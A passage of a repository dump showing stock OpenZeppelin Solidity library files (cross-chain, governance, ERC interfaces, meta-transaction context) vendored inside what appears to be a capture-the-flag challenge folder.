27 | /** 28 | * @dev see {CrossChainEnabled-_isCrossChain} 29 | */ 30 | function _isCrossChain() internal view virtual override returns (bool) { 31 | return LibArbitrumL2.isCrossChain(LibArbitrumL2.ARBSYS); 32 | } 33 | 34 | /** 35 | * @dev see {CrossChainEnabled-_crossChainSender} 36 | */ 37 | function _crossChainSender() internal view virtual override onlyCrossChain returns (address) { 38 | return LibArbitrumL2.crossChainSender(LibArbitrumL2.ARBSYS); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/crosschain/arbitrum/LibArbitrumL1.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (crosschain/arbitrum/LibArbitrumL1.sol) 3 | 4 | pragma solidity ^0.8.4; 5 | 6 | import {IBridge as ArbitrumL1_Bridge} from "../../vendor/arbitrum/IBridge.sol"; 7 | import {IOutbox as ArbitrumL1_Outbox} from "../../vendor/arbitrum/IOutbox.sol"; 8 | import "../errors.sol"; 9 | 10 | /** 11 | * @dev Primitives for cross-chain aware contracts for 12 | * https://arbitrum.io/[Arbitrum]. 13 | * 14 | * This version should only be used on L1 to process cross-chain messages 15 | * originating from L2. For the other side, use {LibArbitrumL2}. 16 | */ 17 | library LibArbitrumL1 { 18 | /** 19 | * @dev Returns whether the current function call is the result of a 20 | * cross-chain message relayed by the `bridge`. 21 | */ 22 | function isCrossChain(address bridge) internal view returns (bool) { 23 | return msg.sender == bridge; 24 | } 25 | 26 | /** 27 | * @dev Returns the address of the sender that triggered the current 28 | * cross-chain message through the `bridge`. 29 | * 30 | * NOTE: {isCrossChain} should be checked before trying to recover the 31 | * sender, as it will revert with `NotCrossChainCall` if the current 32 | * function call is not the result of a cross-chain message. 33 | */ 34 | function crossChainSender(address bridge) internal view returns (address) { 35 | if (!isCrossChain(bridge)) revert NotCrossChainCall(); 36 | 37 | address sender = ArbitrumL1_Outbox(ArbitrumL1_Bridge(bridge).activeOutbox()).l2ToL1Sender(); 38 | require(sender != address(0), "LibArbitrumL1: system messages without sender"); 39 | 40 | return sender; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/crosschain/errors.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (crosschain/errors.sol) 3 | 4 | pragma solidity ^0.8.4; 5 | 6 | error NotCrossChainCall(); 7 | error InvalidCrossChainSender(address actual, address expected); 8 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/crosschain/optimism/CrossChainEnabledOptimism.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.7.0) (crosschain/optimism/CrossChainEnabledOptimism.sol) 3 | 4 | pragma solidity ^0.8.4; 5 | 6 | import "../CrossChainEnabled.sol"; 7 | import "./LibOptimism.sol"; 8 | 9 | /** 10 | * @dev https://www.optimism.io/[Optimism] specialization or the 11 | * {CrossChainEnabled} abstraction. 12 | * 13 | * The messenger (`CrossDomainMessenger`) contract is provided and maintained by 14 | * the optimism team. You can find the address of this contract on mainnet and 15 | * kovan in the https://github.com/ethereum-optimism/optimism/tree/develop/packages/contracts/deployments[deployments section of Optimism monorepo]. 16 | * 17 | * _Available since v4.6._ 18 | */ 19 | abstract contract CrossChainEnabledOptimism is CrossChainEnabled { 20 | /// @custom:oz-upgrades-unsafe-allow state-variable-immutable 21 | address private immutable _messenger; 22 | 23 | /// @custom:oz-upgrades-unsafe-allow constructor 24 | constructor(address messenger) { 25 | _messenger = messenger; 26 | } 27 | 28 | /** 29 | * @dev see {CrossChainEnabled-_isCrossChain} 30 | */ 31 | function _isCrossChain() internal view virtual override returns (bool) { 32 | return LibOptimism.isCrossChain(_messenger); 33 | } 34 | 35 | /** 36 | * @dev see {CrossChainEnabled-_crossChainSender} 37 | */ 38 | function _crossChainSender() internal view virtual override onlyCrossChain returns (address) { 39 | return LibOptimism.crossChainSender(_messenger); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/crosschain/optimism/LibOptimism.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.7.0) (crosschain/optimism/LibOptimism.sol) 3 | 4 | pragma solidity ^0.8.4; 5 | 6 | import {ICrossDomainMessenger as Optimism_Bridge} from "../../vendor/optimism/ICrossDomainMessenger.sol"; 7 | import "../errors.sol"; 8 | 9 | /** 10 | * @dev Primitives for cross-chain aware contracts for https://www.optimism.io/[Optimism]. 11 | * See the https://community.optimism.io/docs/developers/bridge/messaging/#accessing-msg-sender[documentation] 12 | * for the functionality used here. 13 | */ 14 | library LibOptimism { 15 | /** 16 | * @dev Returns whether the current function call is the result of a 17 | * cross-chain message relayed by `messenger`. 18 | */ 19 | function isCrossChain(address messenger) internal view returns (bool) { 20 | return msg.sender == messenger; 21 | } 22 | 23 | /** 24 | * @dev Returns the address of the sender that triggered the current 25 | * cross-chain message through `messenger`. 26 | * 27 | * NOTE: {isCrossChain} should be checked before trying to recover the 28 | * sender, as it will revert with `NotCrossChainCall` if the current 29 | * function call is not the result of a cross-chain message. 30 | */ 31 | function crossChainSender(address messenger) internal view returns (address) { 32 | if (!isCrossChain(messenger)) revert NotCrossChainCall(); 33 | 34 | return Optimism_Bridge(messenger).xDomainMessageSender(); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/finance/README.adoc: -------------------------------------------------------------------------------- 1 | = Finance 2 | 3 | [.readme-notice] 4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/finance 5 | 6 | This directory includes primitives for financial systems: 7 | 8 | - {PaymentSplitter} allows to split Ether and ERC20 payments among a group of accounts. The sender does not need to be 9 | aware that the assets will be split in this way, since it is handled transparently by the contract. The split can be 10 | in equal parts or in any other arbitrary proportion. 11 | 12 | - {VestingWallet} handles the vesting of Ether and ERC20 tokens for a given beneficiary. Custody of multiple tokens can 13 | be given to this contract, which will release the token to the beneficiary following a given, customizable, vesting 14 | schedule. 15 | 16 | == Contracts 17 | 18 | {{PaymentSplitter}} 19 | 20 | {{VestingWallet}} 21 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/governance/extensions/GovernorProposalThreshold.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorProposalThreshold.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../Governor.sol"; 7 | 8 | /** 9 | * @dev Extension of {Governor} for proposal restriction to token holders with a minimum balance. 10 | * 11 | * _Available since v4.3._ 12 | * _Deprecated since v4.4._ 13 | */ 14 | abstract contract GovernorProposalThreshold is Governor { 15 | function propose( 16 | address[] memory targets, 17 | uint256[] memory values, 18 | bytes[] memory calldatas, 19 | string memory description 20 | ) public virtual override returns (uint256) { 21 | return super.propose(targets, values, calldatas, description); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/governance/extensions/GovernorVotes.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (governance/extensions/GovernorVotes.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../Governor.sol"; 7 | import "../utils/IVotes.sol"; 8 | 9 | /** 10 | * @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token, or since v4.5 an {ERC721Votes} token. 11 | * 12 | * _Available since v4.3._ 13 | */ 14 | abstract contract GovernorVotes is Governor { 15 | IVotes public immutable token; 16 | 17 | constructor(IVotes tokenAddress) { 18 | token = tokenAddress; 19 | } 20 | 21 | /** 22 | * Read the voting weight from the token's built in snapshot mechanism (see {Governor-_getVotes}). 23 | */ 24 | function _getVotes( 25 | address account, 26 | uint256 blockNumber, 27 | bytes memory /*params*/ 28 | ) internal view virtual override returns (uint256) { 29 | return token.getPastVotes(account, blockNumber); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/governance/extensions/GovernorVotesComp.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (governance/extensions/GovernorVotesComp.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../Governor.sol"; 7 | import "../../token/ERC20/extensions/ERC20VotesComp.sol"; 8 | 9 | /** 10 | * @dev Extension of {Governor} for voting weight extraction from a Comp token. 11 | * 12 | * _Available since v4.3._ 13 | */ 14 | abstract contract GovernorVotesComp is Governor { 15 | ERC20VotesComp public immutable token; 16 | 17 | constructor(ERC20VotesComp token_) { 18 | token = token_; 19 | } 20 | 21 | /** 22 | * Read the voting weight from the token's built in snapshot mechanism (see {Governor-_getVotes}). 23 | */ 24 | function _getVotes( 25 | address account, 26 | uint256 blockNumber, 27 | bytes memory /*params*/ 28 | ) internal view virtual override returns (uint256) { 29 | return token.getPriorVotes(account, blockNumber); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/governance/extensions/IGovernorTimelock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (governance/extensions/IGovernorTimelock.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IGovernor.sol"; 7 | 8 | /** 9 | * @dev Extension of the {IGovernor} for timelock supporting modules. 10 | * 11 | * _Available since v4.3._ 12 | */ 13 | abstract contract IGovernorTimelock is IGovernor { 14 | event ProposalQueued(uint256 proposalId, uint256 eta); 15 | 16 | function timelock() public view virtual returns (address); 17 | 18 | function proposalEta(uint256 proposalId) public view virtual returns (uint256); 19 | 20 | function queue( 21 | address[] memory targets, 22 | uint256[] memory values, 23 | bytes[] memory calldatas, 24 | bytes32 descriptionHash 25 | ) public virtual returns (uint256 proposalId); 26 | } 27 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC1155.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC1155/IERC1155.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC1155MetadataURI.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155MetadataURI.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC1155/extensions/IERC1155MetadataURI.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC1155Receiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155Receiver.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC1155/IERC1155Receiver.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC1271.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1271.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC1271 standard signature validation method for 8 | * contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271]. 9 | * 10 | * _Available since v4.1._ 11 | */ 12 | interface IERC1271 { 13 | /** 14 | * @dev Should return whether the signature provided is valid for the provided data 15 | * @param hash Hash of the data to be signed 16 | * @param signature Signature byte array associated with _data 17 | */ 18 | function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue); 19 | } 20 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC1363Receiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Receiver.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | interface IERC1363Receiver { 7 | /* 8 | * Note: the ERC-165 identifier for this interface is 0x88a7ca5c. 9 | * 0x88a7ca5c === bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)")) 10 | */ 11 | 12 | /** 13 | * @notice Handle the receipt of ERC1363 tokens 14 | * @dev Any ERC1363 smart contract calls this function on the recipient 15 | * after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the 16 | * transfer. Return of other than the magic value MUST result in the 17 | * transaction being reverted. 18 | * Note: the token contract address is always the message sender. 19 | * @param operator address The address which called `transferAndCall` or `transferFromAndCall` function 20 | * @param from address The address which are token transferred from 21 | * @param value uint256 The amount of tokens transferred 22 | * @param data bytes Additional data with no specified format 23 | * @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` 24 | * unless throwing 25 | */ 26 | function onTransferReceived( 27 | address operator, 28 | address from, 29 | uint256 value, 30 | bytes memory data 31 | ) external returns (bytes4); 32 | } 33 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC1363Spender.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Spender.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | interface IERC1363Spender { 7 | /* 8 | * Note: the ERC-165 identifier for this interface is 0x7b04a2d0. 9 | * 0x7b04a2d0 === bytes4(keccak256("onApprovalReceived(address,uint256,bytes)")) 10 | */ 11 | 12 | /** 13 | * @notice Handle the approval of ERC1363 tokens 14 | * @dev Any ERC1363 smart contract calls this function on the recipient 15 | * after an `approve`. This function MAY throw to revert and reject the 16 | * approval. Return of other than the magic value MUST result in the 17 | * transaction being reverted. 18 | * Note: the token contract address is always the message sender. 19 | * @param owner address The address which called `approveAndCall` function 20 | * @param value uint256 The amount of tokens to be spent 21 | * @param data bytes Additional data with no specified format 22 | * @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` 23 | * unless throwing 24 | */ 25 | function onApprovalReceived(address owner, uint256 value, bytes memory data) external returns (bytes4); 26 | } 27 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC165.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../utils/introspection/IERC165.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC1820Implementer.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1820Implementer.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../utils/introspection/IERC1820Implementer.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC1820Registry.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1820Registry.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../utils/introspection/IERC1820Registry.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC20/IERC20.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC20Metadata.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20Metadata.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC20/extensions/IERC20Metadata.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC2309.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (interfaces/IERC2309.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev ERC-2309: ERC-721 Consecutive Transfer Extension. 8 | * 9 | * _Available since v4.8._ 10 | */ 11 | interface IERC2309 { 12 | /** 13 | * @dev Emitted when the tokens from `fromTokenId` to `toTokenId` are transferred from `fromAddress` to `toAddress`. 14 | */ 15 | event ConsecutiveTransfer( 16 | uint256 indexed fromTokenId, 17 | uint256 toTokenId, 18 | address indexed fromAddress, 19 | address indexed toAddress 20 | ); 21 | } 22 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC2612.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC2612.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC20/extensions/IERC20Permit.sol"; 7 | 8 | interface IERC2612 is IERC20Permit {} 9 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC2981.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../utils/introspection/IERC165.sol"; 7 | 8 | /** 9 | * @dev Interface for the NFT Royalty Standard. 10 | * 11 | * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal 12 | * support for royalty payments across all NFT marketplaces and ecosystem participants. 13 | * 14 | * _Available since v4.5._ 15 | */ 16 | interface IERC2981 is IERC165 { 17 | /** 18 | * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of 19 | * exchange. The royalty amount is denominated and should be paid in that same unit of exchange. 20 | */ 21 | function royaltyInfo( 22 | uint256 tokenId, 23 | uint256 salePrice 24 | ) external view returns (address receiver, uint256 royaltyAmount); 25 | } 26 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC3156.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./IERC3156FlashBorrower.sol"; 7 | import "./IERC3156FlashLender.sol"; 8 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC3156FlashBorrower.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.7.0) (interfaces/IERC3156FlashBorrower.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC3156 FlashBorrower, as defined in 8 | * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156]. 9 | * 10 | * _Available since v4.1._ 11 | */ 12 | interface IERC3156FlashBorrower { 13 | /** 14 | * @dev Receive a flash loan. 15 | * @param initiator The initiator of the loan. 16 | * @param token The loan currency. 17 | * @param amount The amount of tokens lent. 18 | * @param fee The additional amount of tokens to repay. 19 | * @param data Arbitrary data structure, intended to contain user-defined parameters. 20 | * @return The keccak256 hash of "IERC3156FlashBorrower.onFlashLoan" 21 | */ 22 | function onFlashLoan( 23 | address initiator, 24 | address token, 25 | uint256 amount, 26 | uint256 fee, 27 | bytes calldata data 28 | ) external returns (bytes32); 29 | } 30 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC3156FlashLender.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156FlashLender.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./IERC3156FlashBorrower.sol"; 7 | 8 | /** 9 | * @dev Interface of the ERC3156 FlashLender, as defined in 10 | * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156]. 11 | * 12 | * _Available since v4.1._ 13 | */ 14 | interface IERC3156FlashLender { 15 | /** 16 | * @dev The amount of currency available to be lended. 17 | * @param token The loan currency. 18 | * @return The amount of `token` that can be borrowed. 19 | */ 20 | function maxFlashLoan(address token) external view returns (uint256); 21 | 22 | /** 23 | * @dev The fee to be charged for a given loan. 24 | * @param token The loan currency. 25 | * @param amount The amount of tokens lent. 26 | * @return The amount of `token` to be charged for the loan, on top of the returned principal. 27 | */ 28 | function flashFee(address token, uint256 amount) external view returns (uint256); 29 | 30 | /** 31 | * @dev Initiate a flash loan. 32 | * @param receiver The receiver of the tokens in the loan, and the receiver of the callback. 33 | * @param token The loan currency. 34 | * @param amount The amount of tokens lent. 35 | * @param data Arbitrary data structure, intended to contain user-defined parameters. 36 | */ 37 | function flashLoan( 38 | IERC3156FlashBorrower receiver, 39 | address token, 40 | uint256 amount, 41 | bytes calldata data 42 | ) external returns (bool); 43 | } 44 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC721.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC721/IERC721.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC721Enumerable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Enumerable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC721/extensions/IERC721Enumerable.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC721Metadata.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Metadata.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC721/extensions/IERC721Metadata.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC721Receiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Receiver.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC721/IERC721Receiver.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC777.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC777.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC777/IERC777.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC777Recipient.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC777Recipient.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC777/IERC777Recipient.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/IERC777Sender.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC777Sender.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../token/ERC777/IERC777Sender.sol"; 7 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/README.adoc: -------------------------------------------------------------------------------- 1 | = Interfaces 2 | 3 | [.readme-notice] 4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/interfaces 5 | 6 | == List of standardized interfaces 7 | These interfaces are available as `.sol` files, and also as compiler `.json` ABI files (through the npm package). These 8 | are useful to interact with third party contracts that implement them. 9 | 10 | - {IERC20} 11 | - {IERC20Metadata} 12 | - {IERC165} 13 | - {IERC721} 14 | - {IERC721Receiver} 15 | - {IERC721Enumerable} 16 | - {IERC721Metadata} 17 | - {IERC777} 18 | - {IERC777Recipient} 19 | - {IERC777Sender} 20 | - {IERC1155} 21 | - {IERC1155Receiver} 22 | - {IERC1155MetadataURI} 23 | - {IERC1271} 24 | - {IERC1363} 25 | - {IERC1820Implementer} 26 | - {IERC1820Registry} 27 | - {IERC1822Proxiable} 28 | - {IERC2612} 29 | - {IERC2981} 30 | - {IERC3156FlashLender} 31 | - {IERC3156FlashBorrower} 32 | - {IERC4626} 33 | 34 | == Detailed ABI 35 | 36 | {{IERC1271}} 37 | 38 | {{IERC1363}} 39 | 40 | {{IERC1363Receiver}} 41 | 42 | {{IERC1820Implementer}} 43 | 44 | {{IERC1820Registry}} 45 | 46 | {{IERC1822Proxiable}} 47 | 48 | {{IERC2612}} 49 | 50 | {{IERC2981}} 51 | 52 | {{IERC3156FlashLender}} 53 | 54 | {{IERC3156FlashBorrower}} 55 | 56 | {{IERC4626}} -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/draft-IERC1822.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified 8 | * proxy whose upgrades are fully controlled by the current implementation. 9 | */ 10 | interface IERC1822Proxiable { 11 | /** 12 | * @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation 13 | * address. 14 | * 15 | * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks 16 | * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this 17 | * function revert if invoked through a proxy. 18 | */ 19 | function proxiableUUID() external view returns (bytes32); 20 | } 21 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/interfaces/draft-IERC2612.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | // EIP-2612 is Final as of 2022-11-01. This file is deprecated. 6 | 7 | import "./IERC2612.sol"; 8 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/metatx/ERC2771Context.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol) 3 | 4 | pragma solidity ^0.8.9; 5 | 6 | import "../utils/Context.sol"; 7 | 8 | /** 9 | * @dev Context variant with ERC2771 support. 10 | */ 11 | abstract contract ERC2771Context is Context { 12 | /// @custom:oz-upgrades-unsafe-allow state-variable-immutable 13 | address private immutable _trustedForwarder; 14 | 15 | /// @custom:oz-upgrades-unsafe-allow constructor 16 | constructor(address trustedForwarder) { 17 | _trustedForwarder = trustedForwarder; 18 | } 19 | 20 | function isTrustedForwarder(address forwarder) public view virtual returns (bool) { 21 | return forwarder == _trustedForwarder; 22 | } 23 | 24 | function _msgSender() internal view virtual override returns (address sender) { 25 | if (isTrustedForwarder(msg.sender)) { 26 | // The assembly code is more direct than the Solidity version using `abi.decode`. 27 | /// @solidity memory-safe-assembly 28 | assembly { 29 | sender := shr(96, calldataload(sub(calldatasize(), 20))) 30 | } 31 | } else { 32 | return super._msgSender(); 33 | } 34 | } 35 | 36 | function _msgData() internal view virtual override returns (bytes calldata) { 37 | if (isTrustedForwarder(msg.sender)) { 38 | return msg.data[:msg.data.length - 20]; 39 | } else { 40 | return super._msgData(); 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/metatx/README.adoc: -------------------------------------------------------------------------------- 1 | = Meta Transactions 2 | 3 | [.readme-notice] 4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/metatx 5 | 6 | == Core 7 | 8 | {{ERC2771Context}} 9 | 10 | == Utils 11 | 12 | {{MinimalForwarder}} 13 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/mocks/AccessControlCrossChainMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.4; 4 | 5 | import "../access/AccessControlCrossChain.sol"; 6 | import "../crosschain/arbitrum/CrossChainEnabledArbitrumL2.sol"; 7 | 8 | contract AccessControlCrossChainMock is AccessControlCrossChain, CrossChainEnabledArbitrumL2 { 9 | constructor() { 10 | _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); 11 | } 12 | 13 | function setRoleAdmin(bytes32 roleId, bytes32 adminRoleId) public { 14 | 